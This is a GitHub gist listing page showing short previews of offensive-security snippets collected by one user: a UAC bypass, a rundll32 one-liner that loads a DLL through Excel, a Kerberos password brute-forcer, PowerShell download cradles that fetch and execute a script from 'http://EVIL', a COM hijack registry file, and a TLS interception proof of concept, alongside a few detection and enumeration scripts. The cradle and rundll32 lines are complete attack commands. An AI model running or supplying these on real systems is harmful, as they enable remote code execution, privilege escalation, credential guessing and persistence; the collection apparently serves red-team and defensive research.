jymcheong’s gists

jymcheong / EventVwrBypass.cs

Created May 25, 2017 11:49

Event Viewer UAC Bypass in CSharp for use with InstallUtil.exe

	using System;
	using System.Linq;
	using System.Reflection;
	using System.Configuration.Install;
	using System.Runtime.InteropServices;

	using Microsoft.Win32;
	/*
	InstallUtil.exe C# version of Event Viewer UAC bypass

jymcheong / excel.bat

Created July 13, 2017 11:31 — forked from ryhanson/ExcelXLL.md

Execute DLL via the Excel.Application object's RegisterXLL() method

	REM rundll32 mshtml.dll HTA one-liner command:
	rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";x=new%20ActiveXObject('Excel.Application');x.RegisterXLL('C:\\Windows\\Temp\\evilDLL.log');this.close();

jymcheong / kinit_brute.sh

Created July 29, 2017 08:08 — forked from ropnop/kinit_brute.sh

A quick tool to bruteforce an AD user's password by requesting TGTs from the Domain Controller with 'kinit'

	#!/bin/bash

	# Title: kinit_brute.sh
	# Author: @ropnop
	# Description: This is a PoC for bruteforcing passwords using 'kinit' to try to check out a TGT from a Domain Controller
	# The script configures the realm and KDC for you based on the domain provided and the domain controller
	# Since this configuration is only temporary though, if you want to actually use the TGT you should actually edit /etc/krb5.conf
	# Only tested with Heimdal kerberos (error messages might be different for MIT clients)
	# Note: this will lock out accounts if a domain lockout policy is set. Be careful

jymcheong / DownloadCradles.ps1

Created August 14, 2017 12:38 — forked from HarmJ0y/DownloadCradles.ps1

Download Cradles

	# normal download cradle
	IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")

	# PowerShell 3.0+
	IEX (iwr 'http://EVIL/evil.ps1')

	# hidden IE com object
	$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r

	# Msxml2.XMLHTTP COM object

jymcheong / psremoting.ps1

Created August 15, 2017 08:19 — forked from HarmJ0y/psremoting.ps1

Enable PSRemoting

	#Run winrm quickconfig defaults
	echo Y \| winrm quickconfig

	#Run enable psremoting command with defaults
	Enable-PSRemoting -force

	# adjust local token filter policy
	Set-ItemProperty –Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System –Name LocalAccountTokenFilterPolicy –Value 1 -Type DWord

	#Enabled Trusted Hosts for Universial Access

jymcheong / wmi_provider_association.ps1

Created August 20, 2017 02:17 — forked from mattifestation/wmi_provider_association.ps1

Enumerates WMI providers, the DLLs that back the provider, and the classes hosted by the provider.

	<#
	Author: Matthew Graeber (@mattifestation)
	License: BSD 3-Clause
	#>

	function Get-WmiNamespace {
	[OutputType([String])]
	Param (
	[String]
	[ValidateNotNullOrEmpty()]

jymcheong / EmpireCOMPosh.cs

Created October 5, 2017 08:25

Allows PowerShell Commands To Execute via JavaScript via COM. PowerShell without PowerShell.exe

	using System;
	using System.IO;
	using System.Diagnostics;
	using System.Reflection;
	using System.Configuration.Install;
	using System.Runtime.InteropServices;

	//Add For PowerShell Invocation
	using System.Collections.ObjectModel;
	using System.Management.Automation;

jymcheong / Get-Doppelgangers.ps1

Created December 31, 2017 09:22 — forked from dezhub/Get-Doppelgangers.ps1

	function Get-Doppelgangers
	{
	<#
	.SYNOPSIS

	Detects use of NTFS transactions for stealth/evasion, aka 'Process Doppelganging'

	Author: Joe Desimone (@dez_)
	License: BSD 3-Clause

jymcheong / InterceptorThing.ps1

Created January 26, 2018 00:16

Interceptor - Normal User No Admin Required.

	<#
	.SYNOPSIS

	This script demonstrates the ability to capture and tamper with Web sessions.
	For secure sessions, this is done by dynamically writing certificates to match the requested domain.
	This is only proof-of-concept, and should be used cautiously, to demonstrate the effects of such an attack.

	Function: Interceptor
	Author: Casey Smith, Twitter: @subTee
	License: BSD 3-Clause

jymcheong / winlogon.reg

Created February 12, 2018 08:24 — forked from anonymous/winlogon.reg

WinLogon Windows 7 x64 COM Hijack

	Windows Registry Editor Version 5.00
	[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam.1.00]
	@="AtomicRedTeam"
	[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam.1.00\CLSID]
	@="{00000001-0000-0000-0000-0000FEEDACDC}"
	[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam]
	@="AtomicRedTeam"
	[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam\CLSID]
	@="{00000001-0000-0000-0000-0000FEEDACDC}"
	[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}]

Jym Cheong jymcheong